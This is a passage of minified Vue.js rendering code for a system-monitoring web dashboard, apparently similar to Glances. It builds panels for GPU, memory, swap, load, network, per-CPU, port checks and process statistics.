text-truncate\"},Bg={key:1,class:\"col text-end\"},Og={key:1,class:\"col text-end\"},Tg={key:1,class:\"col text-end\"},Ng={key:1,class:\"table-responsive\"},Fg={class:\"table table-sm table-borderless\"},Mg={colspan:\"5\",class:\"title text-truncate\"},jg={class:\"col\"},Pg={key:1,class:\"col\"},Rg={key:2,class:\"col\"},Lg={key:2,class:\"table-responsive\"},Qg={class:\"table table-sm table-borderless\"},Gg={colspan:\"2\",class:\"title text-truncate\"},Wg={key:1,class:\"col\"},Ug={key:1,class:\"col\"},Kg={key:1,class:\"col\"};const Hg={props:{data:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},stats(){return this.data.stats.gpu},view(){return this.data.views.gpu},gpus(){return this.stats},name(){let t=\"GPU\";const{stats:e}=this;return 1===e.length?t=e[0].name:e.length&&(t=`${e.length} GPUs`),t},mean(){const t={proc:null,mem:null,temperature:null},{stats:e}=this;if(!e.length)return t;for(const r of e)t.proc+=r.proc,t.mem+=r.mem,t.temperature+=r.temperature;return t.proc=t.proc/e.length,t.mem=t.mem/e.length,t.temperature=t.temperature/e.length,t}},methods:{getDecoration(t,e){if(void 0!==this.view[t][e])return this.view[t][e].decoration.toLowerCase()},getMeanDecoration:t=>\"DEFAULT\"}},Yg=(0,am.A)(Hg,[[\"render\",function(t,e,r,n,i,o){return null!=o.gpus?(Ou(),ju(\"section\",Sg,[qu(\" single gpu \"),1===o.gpus.length?(Ou(),ju(\"div\",Eg,[(Ou(!0),ju(Cu,null,vc(o.gpus,(r,n)=>(Ou(),ju(\"table\",{key:n,class:\"table table-sm table-borderless\"},[Wu(\"tbody\",null,[Wu(\"tr\",null,[Wu(\"td\",Dg,Ds(o.name),1)]),Wu(\"tr\",null,[e[1]||(e[1]=Wu(\"td\",{class:\"col\"},\"proc:\",-1)),null!=r.proc?(Ou(),ju(\"td\",{key:0,class:_s([\"col text-end\",o.getDecoration(r.gpu_id,\"proc\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.proc,0))+\"%\",1)],2)):qu(\"v-if\",!0),null==r.proc?(Ou(),ju(\"td\",Bg,[...e[0]||(e[0]=[Wu(\"span\",null,\"N/A\",-1)])])):qu(\"v-if\",!0)]),Wu(\"tr\",null,[e[3]||(e[3]=Wu(\"td\",{class:\"col\"},\"mem:\",-1)),null!=r.mem?(Ou(),ju(\"td\",{key:0,class:_s([\"col text-end\",o.getDecoration(r.gpu_id,\"mem\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.mem,0))+\"%\",1)],2)):qu(\"v-if\",!0),null==r.mem?(Ou(),ju(\"td\",Og,[...e[2]||(e[2]=[Wu(\"span\",null,\"N/A\",-1)])])):qu(\"v-if\",!0)]),Wu(\"tr\",null,[e[5]||(e[5]=Wu(\"td\",{class:\"col\"},\"temp:\",-1)),null!=r.temperature?(Ou(),ju(\"td\",{key:0,class:_s([\"col text-end\",o.getDecoration(r.gpu_id,\"temperature\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.temperature,0)),1)],2)):qu(\"v-if\",!0),null==r.temperature?(Ou(),ju(\"td\",Tg,[...e[4]||(e[4]=[Wu(\"span\",null,\"N/A\",-1)])])):qu(\"v-if\",!0)])])]))),128))])):qu(\"v-if\",!0),qu(\" multiple gpus - one line per gpu (no mean) \"),!o.args.meangpu&&o.gpus.length>1?(Ou(),ju(\"div\",Ng,[Wu(\"table\",Fg,[Wu(\"tbody\",null,[Wu(\"tr\",null,[Wu(\"td\",Mg,Ds(o.name),1)]),(Ou(!0),ju(Cu,null,vc(o.gpus,(r,n)=>(Ou(),ju(\"tr\",{key:n},[Wu(\"td\",jg,Ds(r.name)+\":\",1),null!=r.proc?(Ou(),ju(\"td\",{key:0,class:_s([\"col\",o.getDecoration(r.gpu_id,\"proc\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.proc,0))+\"%\",1)],2)):qu(\"v-if\",!0),null==r.proc?(Ou(),ju(\"td\",Pg,[...e[6]||(e[6]=[Wu(\"span\",null,\"N/A\",-1)])])):qu(\"v-if\",!0),null!=r.mem?(Ou(),ju(\"td\",Rg,\"mem:\")):qu(\"v-if\",!0),null!=r.mem?(Ou(),ju(\"td\",{key:3,class:_s([\"col text-end\",o.getDecoration(r.gpu_id,\"mem\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.mem,0))+\"% \",1)],2)):qu(\"v-if\",!0),qu(' <td v-if=\"gpu.mem == null\" class=\"col text-end\"><span>N/A</span></td> ')]))),128))])])])):qu(\"v-if\",!0),qu(\" multiple gpus - mean \"),o.args.meangpu&&o.gpus.length>1?(Ou(),ju(\"div\",Lg,[Wu(\"table\",Qg,[Wu(\"tbody\",null,[Wu(\"tr\",null,[Wu(\"td\",Gg,Ds(o.name),1)]),Wu(\"tr\",null,[e[8]||(e[8]=Wu(\"td\",{class:\"col\"},\"proc mean:\",-1)),null!=o.mean.proc?(Ou(),ju(\"td\",{key:0,class:_s([\"col\",o.getMeanDecoration(\"proc\")])},[Wu(\"span\",null,Ds(t.$filters.number(o.mean.proc,0))+\"%\",1)],2)):qu(\"v-if\",!0),null==o.mean.proc?(Ou(),ju(\"td\",Wg,[...e[7]||(e[7]=[Wu(\"span\",null,\"N/A\",-1),Yu(\">\",-1)])])):qu(\"v-if\",!0)]),Wu(\"tr\",null,[e[10]||(e[10]=Wu(\"td\",{class:\"col\"},\"mem mean:\",-1)),null!=o.mean.mem?(Ou(),ju(\"td\",{key:0,class:_s([\"col\",o.getMeanDecoration(\"mem\")])},[Wu(\"span\",null,Ds(t.$filters.number(o.mean.mem,0))+\"%\",1)],2)):qu(\"v-if\",!0),null==o.mean.mem?(Ou(),ju(\"td\",Ug,[...e[9]||(e[9]=[Wu(\"span\",null,\"N/A\",-1)])])):qu(\"v-if\",!0)]),Wu(\"tr\",null,[e[12]||(e[12]=Wu(\"td\",{class:\"col\"},\"temp mean:\",-1)),null!=o.mean.temperature?(Ou(),ju(\"td\",{key:0,class:_s([\"col\",o.getMeanDecoration(\"temperature\")])},[Wu(\"span\",null,Ds(t.$filters.number(o.mean.temperature,0))+\"°C\",1)],2)):qu(\"v-if\",!0),null==o.mean.temperature?(Ou(),ju(\"td\",Kg,[...e[11]||(e[11]=[Wu(\"span\",null,\"N/A\",-1)])])):qu(\"v-if\",!0)])])])])):qu(\"v-if\",!0)])):qu(\"v-if\",!0)}]]),Jg={id:\"system\",class:\"plugin\"},qg={key:0,class:\"critical\"},Zg={class:\"title\"};const Vg={props:{data:{type:Object}},data:()=>({store:ym}),computed:{stats(){return this.data.stats.system},hostname(){return this.stats.hostname},isDisconnected(){return\"FAILURE\"===this.store.status}}},zg=(0,am.A)(Vg,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",Jg,[o.isDisconnected?(Ou(),ju(\"span\",qg,\"Disconnected from\")):qu(\"v-if\",!0),Wu(\"span\",Zg,Ds(o.hostname),1)])}]]),Xg={key:0,id:\"ip\",class:\"plugin\"},$g={key:0,class:\"title\"},tf={key:1},ef={key:2,class:\"title\"},rf={key:3},nf={key:4,class:\"text-truncate\"};const of={props:{data:{type:Object}},computed:{ipStats(){return this.data.stats.ip},address(){return this.ipStats.address},gateway(){return this.ipStats.gateway},maskCdir(){return this.ipStats.mask_cidr},publicAddress(){return this.ipStats.public_address},publicInfo(){return this.ipStats.public_info_human}}},sf=(0,am.A)(of,[[\"render\",function(t,e,r,n,i,o){return o.address?(Ou(),ju(\"section\",Xg,[o.address?(Ou(),ju(\"span\",$g,\"IP\")):qu(\"v-if\",!0),o.address?(Ou(),ju(\"span\",tf,Ds(o.address)+\"/\"+Ds(o.maskCdir),1)):qu(\"v-if\",!0),o.publicAddress?(Ou(),ju(\"span\",ef,\"Pub\")):qu(\"v-if\",!0),o.publicAddress?(Ou(),ju(\"span\",rf,Ds(o.publicAddress),1)):qu(\"v-if\",!0),o.publicInfo?(Ou(),ju(\"span\",nf,Ds(o.publicInfo),1)):qu(\"v-if\",!0)])):qu(\"v-if\",!0)}]]),af={id:\"irq\",class:\"plugin\"},lf={class:\"table table-sm table-borderless margin-bottom\"},cf={scope:\"row\"},uf={scope:\"row\",class:\"text-end\"};const df={props:{data:{type:Object}},computed:{stats(){return this.data.stats.irq},irqs(){return this.stats.map(t=>({irq_line:t.irq_line,irq_rate:t.irq_rate}))}}},pf=(0,am.A)(df,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",af,[Wu(\"table\",lf,[e[0]||(e[0]=Wu(\"thead\",null,[Wu(\"tr\",null,[Wu(\"th\",{scope:\"col\"},\"IRQ\"),Wu(\"th\",{scope:\"col\",class:\"text-end\"},\"Rate/s\")])],-1)),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.irqs,(t,e)=>(Ou(),ju(\"tr\",{key:e},[Wu(\"td\",cf,Ds(t.irq_line),1),Wu(\"td\",uf,Ds(t.irq_rate),1)]))),128))])])])}]]),mf={key:0,id:\"load\",class:\"plugin\"},hf={class:\"table-responsive\"},gf={class:\"table table-sm table-borderless\"},ff={scope:\"col\",class:\"text-end\"},bf={class:\"text-end\"};const Af={props:{data:{type:Object}},computed:{stats(){return this.data.stats.load},view(){return this.data.views.load},cpucore(){return this.stats.cpucore},min1(){return this.stats.min1},min5(){return this.stats.min5},min15(){return this.stats.min15}},methods:{getDecoration(t){if(void 0!==this.view[t])return this.view[t].decoration.toLowerCase()}}},yf=(0,am.A)(Af,[[\"render\",function(t,e,r,n,i,o){return null!=o.cpucore?(Ou(),ju(\"section\",mf,[Wu(\"div\",hf,[Wu(\"table\",gf,[Wu(\"thead\",null,[Wu(\"tr\",null,[e[0]||(e[0]=Wu(\"th\",{scope:\"col\"},\"LOAD\",-1)),Wu(\"td\",ff,Ds(o.cpucore)+\"-core\",1)])]),Wu(\"tbody\",null,[Wu(\"tr\",null,[e[1]||(e[1]=Wu(\"td\",{scope:\"row\"},\"1 min:\",-1)),Wu(\"td\",bf,[Wu(\"span\",null,Ds(t.$filters.number(o.min1,2)),1)])]),Wu(\"tr\",null,[e[2]||(e[2]=Wu(\"td\",{scope:\"row\"},\"5 min:\",-1)),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(\"min5\")])},[Wu(\"span\",null,Ds(t.$filters.number(o.min5,2)),1)],2)]),Wu(\"tr\",null,[e[3]||(e[3]=Wu(\"td\",{scope:\"row\"},\"15 min:\",-1)),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(\"min15\")])},[Wu(\"span\",null,Ds(t.$filters.number(o.min15,2)),1)],2)])])])])])):qu(\"v-if\",!0)}]]),vf={id:\"mem\",class:\"plugin\"},xf={class:\"table-responsive\"},wf={class:\"table-sm table-borderless\"},_f={class:\"justify-content-between\"},kf={scope:\"col\"},Cf={class:\"table table-sm table-borderless\"},If={class:\"text-end\"},Sf={key:0},Ef={key:1},Df={class:\"d-none d-xl-block d-xxl-block\"},Bf={class:\"table table-sm table-borderless\"},Of={scope:\"col\"},Tf={scope:\"col\"},Nf={scope:\"col\"},Ff={scope:\"col\"},Mf={scope:\"col\"},jf={scope:\"col\"},Pf={scope:\"col\"},Rf={scope:\"col\"};const Lf={props:{data:{type:Object}},data:()=>({store:ym}),computed:{config(){return this.store.config||{}},available_args(){return void 0!==this.config&&void 0!==this.config.mem&&void 0!==this.config.available&&this.config.mem.available||!1},stats(){return this.data.stats.mem},view(){return this.data.views.mem},percent(){return this.stats.percent.toFixed(1)},total(){return this.stats.total},used(){return this.stats.used},available(){return this.stats.available},free(){return this.stats.free},active(){return this.stats.active},inactive(){return this.stats.inactive},buffers(){return this.stats.buffers},cached(){return this.stats.cached}},methods:{getDecoration(t){if(void 0!==this.view[t])return this.view[t].decoration.toLowerCase()}}},Qf=(0,am.A)(Lf,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",vf,[qu(\" d-none d-xxl-block \"),Wu(\"div\",xf,[Wu(\"table\",wf,[Wu(\"tbody\",null,[Wu(\"tr\",_f,[Wu(\"td\",kf,[Wu(\"table\",Cf,[Wu(\"tbody\",null,[Wu(\"tr\",null,[e[0]||(e[0]=Wu(\"th\",{scope:\"col\"},\"MEM\",-1)),Wu(\"td\",{scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"percent\")])},[Wu(\"span\",null,Ds(o.percent)+\"%\",1)],2)]),Wu(\"tr\",null,[e[1]||(e[1]=Wu(\"td\",{scope:\"row\"},\"total:\",-1)),Wu(\"td\",If,[Wu(\"span\",null,Ds(t.$filters.bytes(o.total)),1)])]),o.available_args?qu(\"v-if\",!0):(Ou(),ju(\"tr\",Sf,[e[2]||(e[2]=Wu(\"td\",{scope:\"row\"},\"used:\",-1)),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(\"used\")])},[Wu(\"span\",null,Ds(t.$filters.bytes(o.used,2)),1)],2)])),o.available_args?(Ou(),ju(\"tr\",Ef,[e[3]||(e[3]=Wu(\"td\",{scope:\"row\"},\"avail:\",-1)),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(\"available\")])},[Wu(\"span\",null,Ds(t.$filters.bytes(o.available,2)),1)],2)])):qu(\"v-if\",!0),Wu(\"tr\",null,[e[4]||(e[4]=Wu(\"td\",{scope:\"row\"},\"free:\",-1)),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(\"free\")])},[Wu(\"span\",null,Ds(t.$filters.bytes(o.free,2)),1)],2)])])])]),Wu(\"td\",null,[Wu(\"template\",Df,[Wu(\"table\",Bf,[Wu(\"tbody\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",Of,\" active: \",512),[[Od,null!=o.active]]),Bl(Wu(\"td\",Tf,[Wu(\"span\",null,Ds(t.$filters.bytes(o.active)),1)],512),[[Od,null!=o.active]])]),Wu(\"tr\",null,[Bl(Wu(\"td\",Nf,\" inactive: \",512),[[Od,null!=o.inactive]]),Bl(Wu(\"td\",Ff,[Wu(\"span\",null,Ds(t.$filters.bytes(o.inactive)),1)],512),[[Od,null!=o.inactive]])]),Wu(\"tr\",null,[Bl(Wu(\"td\",Mf,\" buffers: \",512),[[Od,null!=o.buffers]]),Bl(Wu(\"td\",jf,[Wu(\"span\",null,Ds(t.$filters.bytes(o.buffers)),1)],512),[[Od,null!=o.buffers]])]),Wu(\"tr\",null,[Bl(Wu(\"td\",Pf,\" cached: \",512),[[Od,null!=o.cached]]),Bl(Wu(\"td\",Rf,[Wu(\"span\",null,Ds(t.$filters.bytes(o.cached)),1)],512),[[Od,null!=o.cached]])])])])])])])])])])])}]]),Gf={id:\"memswap\",class:\"plugin\"},Wf={class:\"table-responsive\"},Uf={class:\"table table-sm table-borderless\"},Kf={class:\"text-end\"},Hf={class:\"text-end\"};const Yf={props:{data:{type:Object}},computed:{stats(){return this.data.stats.memswap},view(){return this.data.views.memswap},percent(){return this.stats.percent},total(){return this.stats.total},used(){return this.stats.used},free(){return this.stats.free}},methods:{getDecoration(t){if(void 0!==this.view[t])return this.view[t].decoration.toLowerCase()}}},Jf=(0,am.A)(Yf,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",Gf,[Wu(\"div\",Wf,[Wu(\"table\",Uf,[Wu(\"thead\",null,[Wu(\"tr\",null,[e[0]||(e[0]=Wu(\"th\",{scope:\"col\"},\"SWAP\",-1)),Wu(\"td\",{scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"percent\")])},[Wu(\"span\",null,Ds(o.percent)+\"%\",1)],2)])]),Wu(\"tbody\",null,[Wu(\"tr\",null,[e[1]||(e[1]=Wu(\"td\",{scope:\"row\"},\"total:\",-1)),Wu(\"td\",Kf,[Wu(\"span\",null,Ds(t.$filters.bytes(o.total)),1)])]),Wu(\"tr\",null,[e[2]||(e[2]=Wu(\"td\",{scope:\"row\"},\"used:\",-1)),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(\"used\")])},[Wu(\"span\",null,Ds(t.$filters.bytes(o.used,2)),1)],2)]),Wu(\"tr\",null,[e[3]||(e[3]=Wu(\"td\",{scope:\"row\"},\"free:\",-1)),Wu(\"td\",Hf,[Wu(\"span\",null,Ds(t.$filters.bytes(o.free,2)),1)])])])])])])}]]),qf={key:0,id:\"network\",class:\"plugin\"},Zf={class:\"table table-sm table-borderless margin-bottom\"},Vf={scope:\"col\",class:\"text-end w-25\"},zf={scope:\"col\",class:\"text-end w-25\"},Xf={scope:\"col\",class:\"text-end w-25\"},$f={scope:\"col\",class:\"text-end w-25\"},tb={scope:\"col\",class:\"text-end w-25\"},eb={scope:\"col\",class:\"text-end w-25\"},rb={scope:\"col\",class:\"text-end w-25\"},nb={scope:\"col\",class:\"text-end w-25\"},ib={scope:\"row\",class:\"visible-lg-inline text-truncate\"},ob={class:\"text-end\"},sb={class:\"text-end\"};const ab={props:{data:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},stats(){return this.data.stats.network},view(){return this.data.views.network},networks(){const t=this.stats.map(t=>{const e=void 0!==t.alias?t.alias:null;return{interfaceName:t.interface_name,ifname:e||t.interface_name,bytes_recv_rate_per_sec:t.bytes_recv_rate_per_sec,bytes_sent_rate_per_sec:t.bytes_sent_rate_per_sec,bytes_all_rate_per_sec:t.bytes_all_rate_per_sec,bytes_recv:t.bytes_recv,bytes_sent:t.bytes_sent,bytes_all:t.bytes_all}}).filter(t=>{const e=this.view[t.interfaceName].bytes_recv_rate_per_sec,r=this.view[t.interfaceName].bytes_sent_rate_per_sec;return!(e&&!1!==e.hidden||r&&!1!==r.hidden)});return(0,fm.orderBy)(t,[\"interfaceName\"])},hasNetworks(){return this.networks.length>0}},methods:{getDecoration(t,e){if(null!=this.view[t][e])return this.view[t][e].decoration.toLowerCase()}}},lb=(0,am.A)(ab,[[\"render\",function(t,e,r,n,i,o){return o.hasNetworks?(Ou(),ju(\"section\",qf,[Wu(\"table\",Zf,[Wu(\"thead\",null,[Wu(\"tr\",null,[e[0]||(e[0]=Wu(\"th\",{scope:\"col\"},\"NETWORK\",-1)),Bl(Wu(\"th\",Vf,\"Rxps\",512),[[Od,!o.args.network_cumul&&!o.args.network_sum]]),Bl(Wu(\"th\",zf,\"Txps\",512),[[Od,!o.args.network_cumul&&!o.args.network_sum]]),Bl(Wu(\"th\",Xf,null,512),[[Od,!o.args.network_cumul&&o.args.network_sum]]),Bl(Wu(\"th\",$f,\"Rx+Txps\",512),[[Od,!o.args.network_cumul&&o.args.network_sum]]),Bl(Wu(\"th\",tb,\"Rx\",512),[[Od,o.args.network_cumul&&!o.args.network_sum]]),Bl(Wu(\"th\",eb,\"Tx\",512),[[Od,o.args.network_cumul&&!o.args.network_sum]]),Bl(Wu(\"th\",rb,null,512),[[Od,o.args.network_cumul&&o.args.network_sum]]),Bl(Wu(\"th\",nb,\"Rx+Tx\",512),[[Od,o.args.network_cumul&&o.args.network_sum]])])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.networks,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Wu(\"td\",ib,Ds(t.$filters.minSize(e.alias?e.alias:e.ifname,16)),1),Bl(Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(e.interfaceName,\"bytes_recv_rate_per_sec\")])},Ds(o.args.byte?t.$filters.bytes(e.bytes_recv_rate_per_sec):t.$filters.bits(e.bytes_recv_rate_per_sec)),3),[[Od,!o.args.network_cumul&&!o.args.network_sum]]),Bl(Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(e.interfaceName,\"bytes_sent_rate_per_sec\")])},Ds(o.args.byte?t.$filters.bytes(e.bytes_sent_rate_per_sec):t.$filters.bits(e.bytes_sent_rate_per_sec)),3),[[Od,!o.args.network_cumul&&!o.args.network_sum]]),Bl(Wu(\"td\",ob,null,512),[[Od,!o.args.network_cumul&&o.args.network_sum]]),Bl(Wu(\"td\",{class:\"text-end\"},Ds(o.args.byte?t.$filters.bytes(e.bytes_all_rate_per_sec):t.$filters.bits(e.bytes_all_rate_per_sec)),513),[[Od,!o.args.network_cumul&&o.args.network_sum]]),Bl(Wu(\"td\",{class:\"text-end\"},Ds(o.args.byte?t.$filters.bytes(e.bytes_recv):t.$filters.bits(e.bytes_recv)),513),[[Od,o.args.network_cumul&&!o.args.network_sum]]),Bl(Wu(\"td\",{class:\"text-end\"},Ds(o.args.byte?t.$filters.bytes(e.bytes_sent):t.$filters.bits(e.bytes_sent)),513),[[Od,o.args.network_cumul&&!o.args.network_sum]]),Bl(Wu(\"td\",sb,null,512),[[Od,o.args.network_cumul&&o.args.network_sum]]),Bl(Wu(\"td\",{class:\"text-end\"},Ds(o.args.byte?t.$filters.bytes(e.bytes_all):t.$filters.bits(e.bytes_all)),513),[[Od,o.args.network_cumul&&o.args.network_sum]])]))),128))])])])):qu(\"v-if\",!0)}]]),cb={id:\"now\",class:\"plugin\"};const ub={props:{data:{type:Object}},computed:{date_custom(){return this.data.stats.now.custom}}},db=(0,am.A)(ub,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",cb,[Wu(\"span\",null,Ds(o.date_custom),1)])}]]),pb={id:\"percpu\",class:\"plugin\"},mb={class:\"table-responsive\"},hb={class:\"table-sm table-borderless\"},gb={key:0,scope:\"col\"},fb={key:1,scope:\"col\"},bb={key:0,scope:\"col\"},Ab={key:1,scope:\"col\"};const yb={props:{data:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},config(){return this.store.config||{}},percpuStats(){return this.data.stats.percpu}},methods:{getUserAlert:t=>vm.getAlert(\"percpu\",\"percpu_user_\",t.user),getSystemAlert:t=>vm.getAlert(\"percpu\",\"percpu_system_\",t.system),getIOWaitAlert:t=>vm.getAlert(\"percpu\",\"percpu_iowait_\",t.system)}},vb=(0,am.A)(yb,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",pb,[qu(\" d-none d-xl-block d-xxl-block \"),Wu(\"div\",mb,[Wu(\"table\",hb,[Wu(\"thead\",null,[Wu(\"tr\",null,[o.args.disable_quicklook?(Ou(),ju(\"th\",gb,\"CPU\")):qu(\"v-if\",!0),o.args.disable_quicklook?(Ou(),ju(\"td\",fb,\"total\")):qu(\"v-if\",!0),e[0]||(e[0]=Wu(\"td\",{scope:\"col\"},\"user\",-1)),e[1]||(e[1]=Wu(\"td\",{scope:\"col\"},\"system\",-1)),e[2]||(e[2]=Wu(\"td\",{scope:\"col\"},\"idle\",-1)),e[3]||(e[3]=Wu(\"td\",{scope:\"col\"},\"iowait\",-1)),e[4]||(e[4]=Wu(\"td\",{scope:\"col\"},\"steel\",-1))])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.percpuStats,(t,e)=>(Ou(),ju(\"tr\",{key:e},[o.args.disable_quicklook?(Ou(),ju(\"td\",bb,\"CPU\"+Ds(t.cpu_number),1)):qu(\"v-if\",!0),o.args.disable_quicklook?(Ou(),ju(\"td\",Ab,Ds(t.total)+\"%\",1)):qu(\"v-if\",!0),Wu(\"td\",{scope:\"col\",class:_s(o.getUserAlert(t))},Ds(t.user)+\"%\",3),Wu(\"td\",{scope:\"col\",class:_s(o.getSystemAlert(t))},Ds(t.system)+\"%\",3),Bl(Wu(\"td\",{scope:\"col\"},Ds(t.idle)+\"%\",513),[[Od,null!=t.idle]]),Bl(Wu(\"td\",{scope:\"col\",class:_s(o.getIOWaitAlert(t))},Ds(t.iowait)+\"%\",3),[[Od,null!=t.iowait]]),Bl(Wu(\"td\",{scope:\"col\"},Ds(t.steal)+\"%\",513),[[Od,null!=t.steal]])]))),128))])])])])}]]),xb={key:0,id:\"ports\",class:\"plugin\"},wb={class:\"table table-sm table-borderless margin-bottom\"},_b={scope:\"row\"},kb={key:0},Cb={key:1},Ib={key:2},Sb={key:3},Eb={key:0},Db={key:1},Bb={key:2};const Ob={props:{data:{type:Object}},computed:{stats(){return this.data.stats.ports},ports(){return this.stats},hasPorts(){return this.ports.length>0}},methods:{getPortDecoration:t=>null===t.status?\"careful\":!1===t.status?\"critical\":null!==t.rtt_warning&&t.status>t.rtt_warning?\"warning\":\"ok\",getWebDecoration:t=>null===t.status?\"careful\":-1===[200,301,302].indexOf(t.status)?\"critical\":null!==t.rtt_warning&&t.elapsed>t.rtt_warning?\"warning\":\"ok\"}},Tb=(0,am.A)(Ob,[[\"render\",function(t,e,r,n,i,o){return o.hasPorts?(Ou(),ju(\"section\",xb,[Wu(\"table\",wb,[Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.ports,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Wu(\"td\",_b,[qu(\" prettier-ignore \"),Yu(\" \"+Ds(t.$filters.minSize(e.description?e.description:e.host+\" \"+e.port,20)),1)]),e.host?(Ou(),ju(\"td\",{key:0,scope:\"row\",class:_s([\"text-end\",o.getPortDecoration(e)])},[\"null\"==e.status?(Ou(),ju(\"span\",kb,\"Scanning\")):\"false\"==e.status?(Ou(),ju(\"span\",Cb,\"Timeout\")):\"true\"==e.status?(Ou(),ju(\"span\",Ib,\"Open\")):(Ou(),ju(\"span\",Sb,Ds(t.$filters.number(1e3*e.status,0))+\"ms\",1))],2)):qu(\"v-if\",!0),e.url?(Ou(),ju(\"td\",{key:1,scope:\"row\",class:_s([\"text-end\",o.getPortDecoration(e)])},[\"null\"==e.status?(Ou(),ju(\"span\",Eb,\"Scanning\")):\"Error\"==e.status?(Ou(),ju(\"span\",Db,\"Error\")):(Ou(),ju(\"span\",Bb,\"Code \"+Ds(e.status),1))],2)):qu(\"v-if\",!0)]))),128))])])])):qu(\"v-if\",!0)}]]),Nb={key:0},Fb={key:1},Mb={key:0,class:\"row\"},jb={class:\"col-lg-18\"};const Pb={key:0,id:\"amps\",class:\"plugin\"},Rb={class:\"table table-sm table-borderless\"},Lb={key:0},Qb=[\"innerHTML\"];const Gb={props:{data:{type:Object}},computed:{stats(){return this.data.stats.amps},processes(){return this.stats.filter(t=>null!==t.result)},hasAmps(){return this.processes.length>0}},methods:{getNameDecoration(t){const e=t.count,r=t.countmin,n=t.countmax;let i=\"ok\";return i=e>0?(null===r||e>=r)&&(null===n||e<=n)?\"ok\":\"careful\":null===r?\"ok\":\"critical\",i}}},Wb=(0,am.A)(Gb,[[\"render\",function(t,e,r,n,i,o){return o.hasAmps?(Ou(),ju(\"section\",Pb,[Wu(\"table\",Rb,[Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.processes,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Wu(\"td\",{class:_s(o.getNameDecoration(e))},Ds(e.name),3),e.regex?(Ou(),ju(\"td\",Lb,Ds(e.count),1)):qu(\"v-if\",!0),Wu(\"td\",{class:\"process-result\",innerHTML:t.$filters.nl2br(e.result)},null,8,Qb)]))),128))])]),qu(' <div class=\"table\">\\n            <div class=\"table-row\" v-for=\"(process, processId) in processes\" :key=\"processId\">\\n                <div class=\"table-cell text-start\" :class=\"getNameDecoration(process)\">\\n                    {{ process.name }}\\n                </div>\\n                <div class=\"table-cell text-start\" v-if=\"process.regex\">{{ process.count }}</div>\\n                <div\\n                    class=\"table-cell text-start process-result\"\\n                    v-html=\"$filters.nl2br(process.result)\"\\n                ></div>\\n            </div>\\n        </div> ')])):qu(\"v-if\",!0)}]]),Ub={id:\"processcount\",class:\"plugin\"},Kb={class:\"title\"};const Hb={props:{data:{type:Object},sorter:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},stats(){return this.data.stats.processcount},total(){return this.stats.total||0},running(){return this.stats.running||0},sleeping(){return this.stats.sleeping||0},stopped(){return this.stats.stopped||0},thread(){return this.stats.thread||0}}},Yb=(0,am.A)(Hb,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",Ub,[e[0]||(e[0]=Wu(\"span\",{class:\"title\"},\"TASKS\",-1)),Wu(\"span\",null,Ds(o.total)+\" (\"+Ds(o.thread)+\" thr),\",1),Wu(\"span\",null,Ds(o.running)+\" run,\",1),Wu(\"span\",null,Ds(o.sleeping)+\" slp,\",1),Wu(\"span\",null,Ds(o.stopped)+\" oth\",1),Wu(\"span\",null,Ds(o.args.programs?\"Programs\":\"Threads\"),1),Wu(\"span\",Kb,Ds(r.sorter.auto?\"sorted automatically\":\"sorted\"),1),Wu(\"span\",null,\"by \"+Ds(r.sorter.getColumnLabel(r.sorter.column)),1)])}]]),Jb={key:0,id:\"processlist\",class:\"plugin\"},qb={key:0,class:\"extendedstats\"},Zb={class:\"careful\"},Vb={class:\"careful\"},zb={class:\"careful\"},Xb={class:\"careful\"},$b={class:\"table-responsive d-lg-none\",id:\"processlist-table\"},tA={class:\"table table-sm table-borderless table-striped table-hover\"},eA={scope:\"col\"},rA=[\"onClick\"],nA={class:\"table-responsive-md d-none d-lg-block\"},iA={class:\"table table-sm table-borderless table-striped table-hover\"},oA={scope:\"col\"},sA={scope:\"col\"},aA={scope:\"col\"},lA={scope:\"col\"},cA={scope:\"col\"},uA=[\"onClick\"],dA={key:0,scope:\"row\",class:\"\"},pA={key:1,id:\"processlist\",class:\"plugin\"},mA={class:\"table-responsive d-lg-none\"},hA={class:\"table table-sm table-borderless table-striped table-hover\"},gA={class:\"table-responsive d-none d-lg-block\"},fA={class:\"table table-sm table-borderless table-striped table-hover\"},bA={class:\"\"},AA={class:\"\"},yA={scope:\"row\"},vA={scope:\"row\",class:\"table-cell widtd-60\"};const xA={props:{data:{type:Object},sorter:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},config(){return this.store.config||{}},stats_processlist(){return this.data.stats.processlist},stats_core(){return this.data.stats.core},cpucore(){return 0!==this.stats_core.log?this.stats_core.log:1},extended_stats(){return 